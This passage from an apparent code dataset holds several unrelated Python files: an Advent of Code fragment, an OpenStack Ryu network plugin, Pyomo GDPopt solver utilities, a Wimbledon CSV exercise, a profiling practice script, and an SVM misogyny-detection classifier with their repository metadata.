Δ] \n for Δ in [\n -1+1j, 1j, 1+1j, \n -1 , 1, \n -1-1j, -1j, 1-1j, \n ]\n )\n if grid[pos] > stop: return grid[pos]\n\nif __name__ == '__main__':\n assert fst_star(1) == 0\n assert fst_star(12) == 3\n assert fst_star(23) == 2\n assert fst_star(1024) == 31\n\n print(fst_star(265149))\n print(snd_star(265149))\n\n","repo_name":"andy1li/adventofcode","sub_path":"2017/day03_spiral.py","file_name":"day03_spiral.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21972020219","text":"from ryu.app import client\nfrom ryu.app.client import ignore_http_not_found\nfrom ryu.app import rest_nw_id\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import exc as orm_exc\n\nfrom quantum.common import constants as q_const\nfrom quantum.common import exceptions as q_exc\nfrom quantum.common import topics\nfrom quantum.db import api as db\nfrom quantum.db import db_base_plugin_v2\nfrom quantum.db.dhcp_rpc_base import DhcpRpcCallbackMixin\nfrom quantum.db import l3_db\nfrom quantum.db import models_v2\nfrom quantum.openstack.common import cfg\nfrom quantum.openstack.common import log as logging\nfrom quantum.openstack.common import rpc\nfrom quantum.openstack.common.rpc import dispatcher\nfrom quantum.plugins.ryu.common import config\nfrom quantum.plugins.ryu.db import api_v2 as db_api_v2\nfrom quantum.plugins.ryu import ofp_service_type\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass RyuQuantumPluginV2(db_base_plugin_v2.QuantumDbPluginV2,\n l3_db.L3_NAT_db_mixin):\n\n supported_extension_aliases = [\"router\"]\n\n def __init__(self, configfile=None):\n options = {\"sql_connection\": cfg.CONF.DATABASE.sql_connection}\n options.update({'base': models_v2.model_base.BASEV2})\n reconnect_interval = cfg.CONF.DATABASE.reconnect_interval\n options.update({\"reconnect_interval\": reconnect_interval})\n db.configure_db(options)\n\n self.tunnel_key = db_api_v2.TunnelKey(\n cfg.CONF.OVS.tunnel_key_min, cfg.CONF.OVS.tunnel_key_max)\n ofp_con_host = cfg.CONF.OVS.openflow_controller\n ofp_api_host = cfg.CONF.OVS.openflow_rest_api\n\n if ofp_con_host is None or ofp_api_host is None:\n raise q_exc.Invalid(_('invalid configuration. check ryu.ini'))\n\n hosts = [(ofp_con_host, ofp_service_type.CONTROLLER),\n (ofp_api_host, ofp_service_type.REST_API)]\n db_api_v2.set_ofp_servers(hosts)\n\n self.client = client.OFPClient(ofp_api_host)\n self.tun_client = client.TunnelClient(ofp_api_host)\n for nw_id in rest_nw_id.RESERVED_NETWORK_IDS:\n if nw_id != rest_nw_id.NW_ID_UNKNOWN:\n self.client.update_network(nw_id)\n self._setup_rpc()\n\n # register known all network list on startup\n self._create_all_tenant_network()\n\n def _setup_rpc(self):\n self.conn = rpc.create_connection(new=True)\n self.callback = DhcpRpcCallbackMixin()\n self.dispatcher = dispatcher.RpcDispatcher([self.callback])\n self.conn.create_consumer(topics.PLUGIN, self.dispatcher, fanout=False)\n self.conn.consume_in_thread()\n\n def _create_all_tenant_network(self):\n for net in db_api_v2.network_all_tenant_list():\n self.client.update_network(net.id)\n for tun in self.tunnel_key.all_list():\n self.tun_client.update_tunnel_key(tun.network_id, tun.tunnel_key)\n session = db.get_session()\n for port_binding in db_api_v2.port_binding_all_list(session):\n network_id = port_binding.network_id\n dpid = port_binding.dpid\n port_no = port_binding.port_no\n try:\n port = session.query(models_v2.Port).filter(\n models_v2.Port.id == port_binding.port_id).one()\n except orm_exc.NoResultFound:\n continue\n except orm_exc.MultipleResultsFound:\n continue\n\n self.client.update_port(network_id, dpid, port_no)\n self.client.update_mac(network_id, dpid, port_no, port.mac_address)\n\n def _client_create_network(self, net_id, tunnel_key):\n self.client.create_network(net_id)\n self.tun_client.create_tunnel_key(net_id, tunnel_key)\n\n def _client_delete_network(self, net_id):\n client.ignore_http_not_found(\n lambda: self.client.delete_network(net_id))\n client.ignore_http_not_found(\n lambda: self.tun_client.delete_tunnel_key(net_id))\n\n def create_network(self, context, network):\n session = context.session\n with session.begin(subtransactions=True):\n net = super(RyuQuantumPluginV2, self).create_network(context,\n network)\n self._process_l3_create(context, network['network'], net['id'])\n self._extend_network_dict_l3(context, net)\n\n tunnel_key = self.tunnel_key.allocate(session, net['id'])\n try:\n self._client_create_network(net['id'], tunnel_key)\n except:\n self._client_delete_network(net['id'])\n raise\n\n return net\n\n def update_network(self, context, id, network):\n session = context.session\n with session.begin(subtransactions=True):\n net = super(RyuQuantumPluginV2, self).update_network(context, id,\n network)\n self._process_l3_update(context, network['network'], id)\n self._extend_network_dict_l3(context, net)\n return net\n\n def delete_network(self, context, id):\n self._client_delete_network(id)\n session = context.session\n with session.begin(subtransactions=True):\n self.tunnel_key.delete(session, id)\n super(RyuQuantumPluginV2, self).delete_network(context, id)\n\n def get_network(self, context, id, fields=None):\n net = super(RyuQuantumPluginV2, self).get_network(context, id, None)\n self._extend_network_dict_l3(context, net)\n return self._fields(net, fields)\n\n def get_networks(self, context, filters=None, fields=None):\n nets = super(RyuQuantumPluginV2, self).get_networks(context, filters,\n None)\n for net in nets:\n self._extend_network_dict_l3(context, net)\n nets = self._filter_nets_l3(context, nets, filters)\n\n return [self._fields(net, fields) for net in nets]\n\n def delete_port(self, context, id, l3_port_check=True):\n with context.session.begin(subtransactions=True):\n port = self._get_port(context, id)\n net_id = port.network_id\n try:\n port_binding = db_api_v2.port_binding_destroy(context.session,\n port.id, net_id)\n datapath_id = port_binding.dpid\n port_no = port_binding.port_no\n ignore_http_not_found(\n lambda: self.client.delete_port(net_id, datapath_id,\n port_no))\n except q_exc.PortNotFound:\n pass\n\n # if needed, check to see if this is a port owned by\n # and l3-router. If so, we should prevent deletion.\n if l3_port_check:\n self.prevent_l3_port_deletion(context, id)\n self.disassociate_floatingips(context, id)\n return super(RyuQuantumPluginV2, self).delete_port(context, id)\n\n def update_port(self, context, id, port):\n p = super(RyuQuantumPluginV2, self).update_port(context, id, port)\n net_id = p['network_id']\n mac_address = p['mac_address']\n\n deleted = port['port'].get('deleted', False)\n if deleted:\n session = context.session\n try:\n db_api_v2.port_binding_destroy(session, id, net_id)\n except q_exc.PortNotFound:\n pass\n db_api_v2.set_port_status(session, id, q_const.PORT_STATUS_DOWN)\n return p\n\n datapath_id = port['port'].get('datapath_id', None)\n port_no = port['port'].get('port_no', None)\n if datapath_id is None or port_no is None:\n LOG.debug('p %s', p)\n return p\n\n try:\n port_binding = db_api_v2.port_binding_get(id, net_id)\n except orm_exc.NoResultFound:\n try:\n db_api_v2.port_binding_create(id, net_id, datapath_id, port_no)\n except IntegrityError:\n # TODO:XXX should do transaction?\n return p\n else:\n self.client.create_port(net_id, datapath_id, port_no)\n self.client.create_mac(net_id, datapath_id, port_no,\n mac_address)\n else:\n if (port_binding.dpid != datapath_id or\n port_binding.port_no != port_no):\n variables = {'datapath_id': datapath_id,\n 'port_no': port_no,\n 'port_binding_dpid': port_binding.dpid,\n 'port_binding_port_no': port_binding.port_no}\n raise q_exc.InvalidInput(\n error_message=_('invalid (datapath_id, port_no) '\n 'is requested'\n '(%(datapath_id)s, %(port_no)s), acutal'\n '(%(port_binding_dpid)s, '\n '%(port_binding_port_no)s)') % variables)\n self.client.update_network(net_id)\n self.client.update_port(net_id, datapath_id, port_no)\n self.client.update_mac(net_id, datapath_id, port_no, mac_address)\n return p\n","repo_name":"virt2x/folsomCloud","sub_path":"cloud/quantum/quantum/plugins/ryu/ryu_quantum_plugin.py","file_name":"ryu_quantum_plugin.py","file_ext":"py","file_size_in_byte":9286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29699440561","text":"\"\"\"Utility functions and classes for the GDPopt solver.\"\"\"\nfrom __future__ import division\n\nimport logging\nfrom math import fabs, floor, log\n\nfrom pyomo.core import (Any, Binary, Block, Constraint, NonNegativeReals,\n Objective, Reals, Var, minimize, value)\nfrom pyomo.core.expr import current as EXPR\nfrom pyomo.core.kernel import ComponentSet\nfrom pyomo.gdp import Disjunct, Disjunction\nfrom pyomo.opt import SolverFactory\nfrom pyomo.opt.results import ProblemSense, SolverResults\n\n\nclass _DoNothing(object):\n \"\"\"Do nothing, literally.\n\n This class is used in situations of \"do something if attribute exists.\"\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n pass\n\n def __call__(self, *args, **kwargs):\n pass\n\n def __getattr__(self, attr):\n def _do_nothing(*args, **kwargs):\n pass\n return _do_nothing\n\n\nclass GDPoptSolveData(object):\n \"\"\"Data container to hold solve-instance data.\n\n Key attributes:\n - original_model: the original model that the user gave us to solve\n - working_model: the original model after preprocessing\n - linear_GDP: the linear-discrete master problem\n\n \"\"\"\n pass\n\n\ndef model_is_valid(solve_data, config):\n \"\"\"Validate that the model is solveable by GDPopt.\n\n Also preforms some preprocessing such as moving the objective to the\n constraints.\n\n \"\"\"\n m = solve_data.working_model\n GDPopt = m.GDPopt_utils\n\n # Handle LP/NLP being passed to the solver\n prob = solve_data.results.problem\n if (prob.number_of_binary_variables == 0 and\n prob.number_of_integer_variables == 0 and\n prob.number_of_disjunctions == 0):\n config.logger.info('Problem has no discrete decisions.')\n if len(GDPopt.working_nonlinear_constraints) > 0:\n config.logger.info(\n \"Your model is an NLP (nonlinear program). \"\n \"Using NLP solver %s to solve.\" % config.nlp)\n SolverFactory(config.nlp).solve(\n solve_data.original_model, **config.nlp_options)\n return False\n else:\n config.logger.info(\n \"Your model is an LP (linear program). \"\n \"Using LP solver %s to solve.\" % config.mip)\n SolverFactory(config.mip).solve(\n solve_data.original_model, **config.mip_options)\n return False\n\n # Handle missing or multiple objectives\n objs = list(m.component_data_objects(\n ctype=Objective, active=True, descend_into=True))\n num_objs = len(objs)\n solve_data.results.problem.number_of_objectives = num_objs\n if num_objs == 0:\n config.logger.warning(\n 'Model has no active objectives. Adding dummy objective.')\n GDPopt.dummy_objective = Objective(expr=1)\n main_obj = GDPopt.dummy_objective\n elif num_objs > 1:\n raise ValueError('Model has multiple active objectives.')\n else:\n main_obj = objs[0]\n solve_data.working_objective_expr = main_obj.expr\n\n # Move the objective to the constraints\n\n # TODO only move the objective if nonlinear?\n GDPopt.objective_value = Var(domain=Reals, initialize=0)\n solve_data.objective_sense = main_obj.sense\n if main_obj.sense == minimize:\n GDPopt.objective_expr = Constraint(\n expr=GDPopt.objective_value >= main_obj.expr)\n solve_data.results.problem.sense = ProblemSense.minimize\n else:\n GDPopt.objective_expr = Constraint(\n expr=GDPopt.objective_value <= main_obj.expr)\n solve_data.results.problem.sense = ProblemSense.maximize\n main_obj.deactivate()\n GDPopt.objective = Objective(\n expr=GDPopt.objective_value, sense=main_obj.sense)\n\n # TODO if any continuous variables are multipled with binary ones, need\n # to do some kind of transformation (Glover?) or throw an error message\n return True\n\n\ndef a_logger(str_or_logger):\n \"\"\"Returns a logger when passed either a logger name or logger object.\"\"\"\n if isinstance(str_or_logger, logging.Logger):\n return str_or_logger\n else:\n return logging.getLogger(str_or_logger)\n\n\ndef copy_var_list_values(from_list, to_list, config, skip_stale=False):\n \"\"\"Copy variable values from one list to another.\"\"\"\n for v_from, v_to in zip(from_list, to_list):\n if skip_stale and v_from.stale:\n continue # Skip stale variable values.\n try:\n v_to.set_value(value(v_from, exception=False))\n if skip_stale:\n v_to.stale = False\n except ValueError as err:\n if 'is not in domain Binary' in err.message:\n # Check to see if this is just a tolerance issue\n v_from_val = value(v_from, exception=False)\n if (fabs(v_from_val - 1) <= config.integer_tolerance or\n fabs(v_from_val) <= config.integer_tolerance):\n v_to.set_value(round(v_from_val))\n else:\n raise\n\n\ndef is_feasible(model, config):\n \"\"\"Checks to see if the algebraic model is feasible in its current state.\n\n Checks variable bounds and active constraints. Not for use with\n untransformed GDP models.\n\n \"\"\"\n disj = next(model.component_data_objects(\n ctype=Disjunct, active=True), None)\n if disj is not None:\n raise NotImplementedError(\n \"Found active disjunct %s. \"\n \"This function is not intended to check \"\n \"feasibility of disjunctive models, \"\n \"only transformed subproblems.\" % disj.name)\n\n config.logger.debug('Checking if model is feasible.')\n for constr in model.component_data_objects(\n ctype=Constraint, active=True, descend_into=True):\n # Check constraint lower bound\n if (constr.lower is not None and (\n value(constr.lower) - value(constr.body)\n >= config.constraint_tolerance\n )):\n config.logger.info('%s: body %s < LB %s' % (\n constr.name, value(constr.body), value(constr.lower)))\n return False\n # check constraint upper bound\n if (constr.upper is not None and (\n value(constr.body) - value(constr.upper)\n >= config.constraint_tolerance\n )):\n config.logger.info('%s: body %s > UB %s' % (\n constr.name, value(constr.body), value(constr.upper)))\n return False\n for var in model.component_data_objects(ctype=Var, descend_into=True):\n # Check variable lower bound\n if (var.has_lb() and\n value(var.lb) - value(var) >= config.variable_tolerance):\n config.logger.info('%s: %s < LB %s' % (\n var.name, value(var), value(var.lb)))\n return False\n # Check variable upper bound\n if (var.has_ub() and\n value(var) - value(var.ub) >= config.variable_tolerance):\n config.logger.info('%s: %s > UB %s' % (\n var.name, value(var), value(var.ub)))\n return False\n config.logger.info('Model is feasible.')\n return True\n\n\ndef clone_orig_model_with_lists(original_model):\n \"\"\"Clones the original model to create a working model.\n\n Also attaches ordered lists of the variables, constraints, disjuncts, and\n disjunctions to the model so that they can be used for mapping back and\n forth.\n\n \"\"\"\n build_ordered_component_lists(original_model, prefix='orig')\n return original_model.clone()\n\n\ndef build_ordered_component_lists(model, prefix='working'):\n \"\"\"Define lists used for future data transfer.\"\"\"\n GDPopt = model.GDPopt_utils\n var_set = ComponentSet()\n setattr(\n GDPopt, '%s_constraints_list' % prefix, list(\n model.component_data_objects(\n ctype=Constraint, active=True,\n descend_into=(Block, Disjunct))))\n setattr(\n GDPopt, '%s_disjuncts_list' % prefix, list(\n model.component_data_objects(\n ctype=Disjunct, descend_into=(Block, Disjunct))))\n setattr(\n GDPopt, '%s_disjunctions_list' % prefix, list(\n model.component_data_objects(\n ctype=Disjunction, active=True,\n descend_into=(Disjunct, Block))))\n\n # Identify the non-fixed variables in (potentially) active constraints\n for constr in getattr(GDPopt, '%s_constraints_list' % prefix):\n for v in EXPR.identify_variables(constr.body, include_fixed=False):\n var_set.add(v)\n # Disjunct indicator variables might not appear in active constraints. In\n # fact, if we consider them Logical variables, they should not appear in\n # active algebraic constraints. For now, they need to be added to the\n # variable set.\n for disj in getattr(GDPopt, '%s_disjuncts_list' % prefix):\n var_set.add(disj.indicator_var)\n\n # We use component_data_objects rather than list(var_set) in order to\n # preserve a deterministic ordering.\n setattr(\n GDPopt, '%s_var_list' % prefix, list(\n v for v in model.component_data_objects(\n ctype=Var, descend_into=(Block, Disjunct))\n if v in var_set))\n setattr(\n GDPopt, '%s_nonlinear_constraints' % prefix, [\n v for v in getattr(GDPopt, '%s_constraints_list' % prefix)\n if v.body.polynomial_degree() not in (0, 1)])\n\n\ndef record_original_model_statistics(solve_data, config):\n \"\"\"Record problem statistics for original model and setup SolverResults.\"\"\"\n # Create the solver results object\n res = solve_data.results = SolverResults()\n prob = res.problem\n origGDPopt = solve_data.original_model.GDPopt_utils\n res.problem.name = solve_data.working_model.name\n res.problem.number_of_nonzeros = None # TODO\n # TODO work on termination condition and message\n res.solver.termination_condition = None\n res.solver.message = None\n # TODO add some kind of timing\n res.solver.user_time = None\n res.solver.system_time = None\n res.solver.wallclock_time = None\n res.solver.termination_message = None\n\n # Classify the variables\n orig_binary = sum(1 for v in origGDPopt.orig_var_list if v.is_binary())\n orig_continuous = sum(\n 1 for v in origGDPopt.orig_var_list if v.is_continuous())\n orig_integer = sum(1 for v in origGDPopt.orig_var_list if v.is_integer())\n\n # Get count of constraints and variables\n prob.number_of_constraints = len(origGDPopt.orig_constraints_list)\n prob.number_of_disjunctions = len(origGDPopt.orig_disjunctions_list)\n prob.number_of_variables = len(origGDPopt.orig_var_list)\n prob.number_of_binary_variables = orig_binary\n prob.number_of_continuous_variables = orig_continuous\n prob.number_of_integer_variables = orig_integer\n\n config.logger.info(\n \"Original model has %s constraints (%s nonlinear) \"\n \"and %s disjunctions, \"\n \"with %s variables, of which %s are binary, %s are integer, \"\n \"and %s are continuous.\" %\n (prob.number_of_constraints,\n len(origGDPopt.orig_nonlinear_constraints),\n prob.number_of_disjunctions,\n prob.number_of_variables,\n orig_binary,\n orig_integer,\n orig_continuous))\n\n\ndef record_working_model_statistics(solve_data, config):\n \"\"\"Record problem statistics for preprocessed model.\"\"\"\n GDPopt = solve_data.working_model.GDPopt_utils\n now_binary = sum(1 for v in GDPopt.working_var_list if v.is_binary())\n now_continuous = sum(\n 1 for v in GDPopt.working_var_list if v.is_continuous())\n now_integer = sum(1 for v in GDPopt.working_var_list if v.is_integer())\n assert now_integer == 0, \"Unreformulated, unfixed integer variables found.\"\n\n config.logger.info(\n \"After preprocessing, model has %s constraints (%s nonlinear) \"\n \"and %s disjunctions, \"\n \"with %s variables, of which %s are binary and %s are continuous.\" %\n (len(GDPopt.working_constraints_list),\n len(GDPopt.working_nonlinear_constraints),\n len(GDPopt.working_disjunctions_list),\n len(GDPopt.working_var_list),\n now_binary,\n now_continuous))\n\n\ndef reformulate_integer_variables(model, config):\n integer_vars = list(\n v for v in model.component_data_objects(\n ctype=Var, descend_into=(Block, Disjunct))\n if v.is_integer() and not v.fixed)\n if len(integer_vars) == 0:\n return # if no free integer variables, no reformulation needed.\n\n if config.reformulate_integer_vars_using is None:\n config.logger.warning(\n \"Model contains unfixed integer variables. \"\n \"GDPopt will reformulate using base 2 binary variables \"\n \"by default. To specify a different method, see the \"\n \"reformulate_integer_vars_using configuration option.\")\n config.reformulate_integer_vars_using = 'base2_binary'\n\n config.logger.info(\n \"Reformulating integer variables using the %s strategy.\"\n % config.reformulate_integer_vars_using)\n\n # Set up reformulation block\n reform_block = model.GDPopt_utils.integer_reform = Block(\n doc=\"Holds variables and constraints for reformulating \"\n \"integer variables to binary variables.\")\n reform_block.new_binary_var = Var(\n Any, domain=Binary, dense=False,\n doc=\"Binary variable with index (int_var.name, indx)\")\n reform_block.integer_to_binary_constraint = Constraint(\n Any, doc=\"Equality constraints mapping the binary variable values \"\n \"to the integer variable value.\")\n\n # check that variables are bounded and non-negative\n for int_var in integer_vars:\n if not (int_var.has_lb() and int_var.has_ub()):\n raise ValueError(\n \"Integer variable %s is missing an \"\n \"upper or lower bound. LB: %s; UB: %s. \"\n \"GDPopt does not support unbounded integer variables.\"\n % (int_var.name, int_var.lb, int_var.ub))\n if int_var.lb < 0:\n raise ValueError(\n \"Integer variable %s can be negative. \"\n \"GDPopt currently only supports positive integer \"\n \"variables.\" % (int_var.name)\n )\n # do the reformulation\n highest_power = floor(log(value(int_var.ub), 2))\n var_name = int_var.name\n reform_block.integer_to_binary_constraint.add(\n var_name, expr=int_var == sum(\n reform_block.new_binary_var[var_name, pwr] * (2 ** pwr)\n for pwr in range(0, int(highest_power) + 1)))\n int_var.domain = NonNegativeReals\n\n config.logger.info(\n \"Reformulated %s integer variables using \"\n \"%s binary variables and %s constraints.\"\n % (len(integer_vars), len(reform_block.new_binary_var),\n len(reform_block.integer_to_binary_constraint)))\n\n\ndef validate_disjunctions(model, config):\n \"\"\"Validate that the active disjunctions on the model are satisfied\n by the current disjunct indicator_var values.\"\"\"\n active_disjunctions = model.component_data_objects(\n ctype=Disjunction, active=True, descend_into=(Block, Disjunct))\n for disjtn in active_disjunctions:\n sum_disj_vals = sum(disj.indicator_var.value\n for disj in disjtn.disjuncts)\n if disjtn.xor and fabs(sum_disj_vals - 1) > config.integer_tolerance:\n raise ValueError(\n \"Expected disjunct values to add up to 1 \"\n \"for XOR disjunction %s. \"\n \"Instead, values add up to %s.\" % (disjtn.name, sum_disj_vals))\n elif sum_disj_vals + config.integer_tolerance < 1:\n raise ValueError(\n \"Expected disjunct values to add up to at least 1 for \"\n \"OR disjunction %s. \"\n \"Instead, values add up to %s.\" % (disjtn.name, sum_disj_vals))\n\n\ndef algorithm_is_making_progress(solve_data, config):\n \"\"\"Make sure that the algorithm is making sufficient progress\n at each iteration to continue.\"\"\"\n\n # TODO if backtracking is turned on, and algorithm visits the same point\n # twice without improvement in objective value, turn off backtracking.\n\n # TODO stop iterations if feasible solutions not progressing for a number\n # of iterations.\n\n # If the hybrid algorithm is not making progress, switch to OA.\n # required_feas_prog = 1E-6\n # if solve_data.working_model.GDPopt_utils.objective.sense == minimize:\n # sign_adjust = 1\n # else:\n # sign_adjust = -1\n\n # Maximum number of iterations in which feasible bound does not\n # improve before terminating algorithm\n # if (len(feas_prog_log) > config.algorithm_stall_after and\n # (sign_adjust * (feas_prog_log[-1] + required_feas_prog)\n # >= sign_adjust *\n # feas_prog_log[-1 - config.algorithm_stall_after])):\n # config.logger.info(\n # 'Feasible solutions not making enough progress '\n # 'for %s iterations. Algorithm stalled. Exiting.\\n'\n # 'To continue, increase value of parameter '\n # 'algorithm_stall_after.'\n # % (config.algorithm_stall_after,))\n # return False\n\n return True\n\n\ndef algorithm_should_terminate(solve_data, config):\n \"\"\"Check if the algorithm should terminate.\n\n Termination conditions based on solver options and progress.\n\n \"\"\"\n # Check bound convergence\n if solve_data.LB + config.bound_tolerance >= solve_data.UB:\n config.logger.info(\n 'GDPopt exiting on bound convergence. '\n 'LB: %s + (tol %s) >= UB: %s' %\n (solve_data.LB, config.bound_tolerance,\n solve_data.UB))\n return True\n\n # Check iteration limit\n if solve_data.master_iteration >= config.iterlim:\n config.logger.info(\n 'GDPopt unable to converge bounds '\n 'after %s master iterations.'\n % (solve_data.master_iteration,))\n config.logger.info(\n 'Final bound values: LB: %s UB: %s'\n % (solve_data.LB, solve_data.UB))\n return True\n\n if not algorithm_is_making_progress(solve_data, config):\n config.logger.debug(\n 'Algorithm is not making enough progress. '\n 'Exiting iteration loop.')\n return True\n return False\n\n\ndef copy_and_fix_mip_values_to_nlp(var_list, val_list, config):\n \"\"\"Copy MIP solution values to the corresponding NLP variable list.\n\n Fix binary variables and optionally round their values.\n\n \"\"\"\n for var, val in zip(var_list, val_list):\n if val is None:\n continue\n if not var.is_binary():\n var.value = val\n elif ((fabs(val) > config.integer_tolerance and\n fabs(val - 1) > config.integer_tolerance)):\n raise ValueError(\n \"Binary variable %s value %s is not \"\n \"within tolerance %s of 0 or 1.\" %\n (var.name, var.value, config.integer_tolerance))\n else:\n # variable is binary and within tolerances\n if config.round_NLP_binaries:\n var.fix(int(round(val)))\n else:\n var.fix(val)\n","repo_name":"rowhit/pyomo","sub_path":"pyomo/contrib/gdpopt/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":19207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"14744232404","text":"# Game, Set, Match\n\n\nimport csv\n\n\ndef main():\n # Read the CSV file\n data = read_csv_file(\"wimbledon.csv\")\n\n # Get the champions and the number of times they have won\n champions = get_champions(data)\n\n # Display the champions and the number of times they have won\n print(\"Wimbledon Champions:\")\n for name, count in champions.items():\n print(f\"{name} {count}\")\n\n # Get the countries of the champions\n countries = get_countries(data)\n\n # Display the countries of the champions in alphabetical order\n print(\"\\nThese\", len(countries), \"countries have won Wimbledon:\")\n print(\", \".join(sorted(countries)))\n\n\ndef read_csv_file(filename):\n \"\"\"\n Reads a CSV file and returns its contents as a list of lists.\n \"\"\"\n with open(filename, \"r\", encoding=\"utf-8-sig\") as in_file:\n reader = csv.reader(in_file)\n return [row for row in reader]\n\n\ndef get_champions(data):\n \"\"\"\n Returns a dictionary containing the champions and the number of times they have won.\n \"\"\"\n champions = {}\n for row in data:\n if row[0] != \"Year\": # Skip the header row\n name = row[2]\n champions[name] = champions.get(name, 0) + 1\n return champions\n\n\ndef get_countries(data):\n \"\"\"\n Returns a set of the countries of the champions.\n \"\"\"\n countries = set()\n for row in data:\n if row[0] != \"Year\": # Skip the header row\n country = row[1]\n countries.add(country)\n return countries\n\n\nmain()\n","repo_name":"tamil290/CP1404","sub_path":"Practical_5/wimbledon.py","file_name":"wimbledon.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4246647109","text":"\n \n\n# create a random dictionary of words and their definitions\nimport profile\n\n\nports_protocols = {\n \"21\": \"FTP\",\n \"22\": \"SSH\",\n \"23\": \"TELNET\",\n \"25\": \"SMTP\",\n \"53\": \"DNS\",\n \"80\": \"HTTP\",\n \"443\": \"HTTPS\",\n \"3306\": \"MYSQL\",\n \"5432\": \"POSTGRESQL\"}\n\nfrom memory_profiler import profile\nimport timeit\n\n@profile(precision=2)\ndef create_dictionary():\n words = ['apple', 'banana', 'orange', 'coconut', 'strawberry', 'lime', 'grapefruit', 'lemon', 'kumquat', 'blueberry', 'melon']\n dictionary = {}\n for word in words:\n definition = word + \" is a fruit.\"\n dictionary[word] = definition\n return dictionary # return the dictionary\n\n\nprint(timeit.timeit(\"create_dictionary()\", setup=\"from __main__ import create_dictionary\",number=1))\n\n# for x in dict1:\n# print(x, dict1[x])","repo_name":"maxacode/Technical-Interview-Prep-Sites","sub_path":"Individual Functions Practice/memory_profiler.py","file_name":"memory_profiler.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1148001315","text":"batch_size = 128\nalpha_channels = 3\nwidth = 16\nheight = 16\n\nfilter_height = 5\nfilter_width = filter_height\nconvolutional_channels = 6\nconvolutional_skip = 2\npool_skip = 2\n# from get_bottleneck_data import TOP_CLASSES\n# len(TOP_CLASSES)\nnum_targets = 1623 + 1\nlearning_rate = 0.01\nnum_steps = 5000\n\nnum_bottlenecks = 1001\n","repo_name":"joshbrowning2358/cDiscount","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3937079214","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 19 15:07:16 2018\n\n@author: dadangewp\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\nfrom dataReader import parse_training\nfrom dataReader import parse_testing\nimport configFeature as cfgFeature\nimport featureManager\nfrom sklearn import svm\nfrom sklearn import tree\nfrom sklearn import metrics\nfrom sklearn.metrics.scorer import make_scorer\nfrom sklearn.metrics import f1_score, classification_report, accuracy_score, make_scorer\nfrom sklearn.model_selection import cross_val_score, cross_val_predict\n\n\n\nDIR_TRAIN = \"D:\\\\PhD\\\\Misogyny Detection\\\\Evalita\\\\en_training_taskb.tsv\"\nDIR_TEST = \"D:\\\\PhD\\\\Misogyny Detection\\\\Evalita\\\\en_testing_taskb_linear.tsv\"\n\noriginalclass = []\npredictedclass = []\n\ndef classification_report_with_accuracy_score(y_true, y_pred):\n #print (classification_report(y_true, y_pred)) # print classification report\n originalclass.extend(y_true)\n predictedclass.extend(y_pred)\n return accuracy_score(y_true, y_pred) # return accuracy score\n\nif __name__ == '__main__':\n \n print (\"started ...\")\n TASK = \"B-English\" # Define, A or B\n FNAME = './predictions-task' + TASK + '.txt'\n PREDICTIONSFILE = open(FNAME, \"w\")\n # read Training data\n #print (\"load wordvector\")\n #word2vec = gensim.models.KeyedVectors.load_word2vec_format('GoogleNews-vectors-negative300.bin', binary=True)\n #word2vec = dict(zip(model.wv.index2word, model.wv.syn0))\n #print (\"wordvector load finished\")\n word2vec = \"zonk\"\n feature_manager=featureManager.make_feature_manager()\n dataTrain, dataLabel = parse_training(DIR_TRAIN)\n dataTest = parse_testing(DIR_TEST)\n print (\"Training data read\") \n feature_names=cfgFeature.feature_list['feature_names']\n #stuff = range(0, len(feature_names) )\n #parameters=[]\n #parameters_optimized=[]\n #highest=0\n #max_feature_set=[]\n #for L in range(1, len(stuff)+1):\n #for subset in combinations(stuff, L):\n #X_train,X_test=feature_manager.create_feature_space(dataTrain, word2vec, feature_names[list(subset)], train_tweets=None)\n #clf = svm.LinearSVC()\n #print (\"training start\")\n #clf.fit(X_train, dataLabel)\n #print (\"training done\")\n #scores = cross_val_score(clf, X_train, dataLabel, cv=10) \n #acc = scores.mean()\n #predicted = cross_val_predict(clf,X_train,dataLabel,cv=10)\n #score = metrics.f1_score(dataLabel, predicted, pos_label=1)\n #print(feature_names[list(subset)])\n #print(score)\n #if score > 0.65:\n #print(str(feature_names[list(subset)]))\n #PREDICTIONSFILE.write(str(feature_names[list(subset)])+\";\")\n #print(score)\n #PREDICTIONSFILE.write(str(score))\n #PREDICTIONSFILE.write(\"\\n\")\n X_train, X_test = feature_manager.create_feature_space(dataTrain, dataTest, feature_names)\n #print (X_train.shape)\n #print (X_test.shape)\n clf = svm.LinearSVC()\n clf.fit(X_train,dataLabel)\n \n #print(cross_val_score(clf, X_train, dataLabel, cv=10, scoring=\"accuracy\"))\n scores = cross_val_score(clf, X_train, dataLabel, cv=10, scoring=make_scorer(f1_score, average='macro'))\n print(scores)\n print(\"Accuracy (Cross-V): %0.3f (+/- %0.2f)\" % (scores.mean(), scores.std() * 2))\n #nested_score = cross_val_score(clf, X=X_train, y=dataLabel, cv=10, \\\n # scoring=make_scorer(classification_report_with_accuracy_score))\n #print(classification_report(originalclass, predictedclass, digits=3))\n #predicted = cross_val_predict(clf,X_train,dataLabel,cv=10)\n predicted = clf.predict(X_test)\n #score = metrics.f1_score(labelTest, predicted, pos_label=1)\n #scoreTrain = metrics.f1_score(dataLabel, predictedTrain, pos_label=1)\n #print (\"F1-score Task\", TASK, score)\n #print (scoreTrain)\n for p in predicted:\n PREDICTIONSFILE.write(\"{}\\n\".format(p))\n PREDICTIONSFILE.close()\n 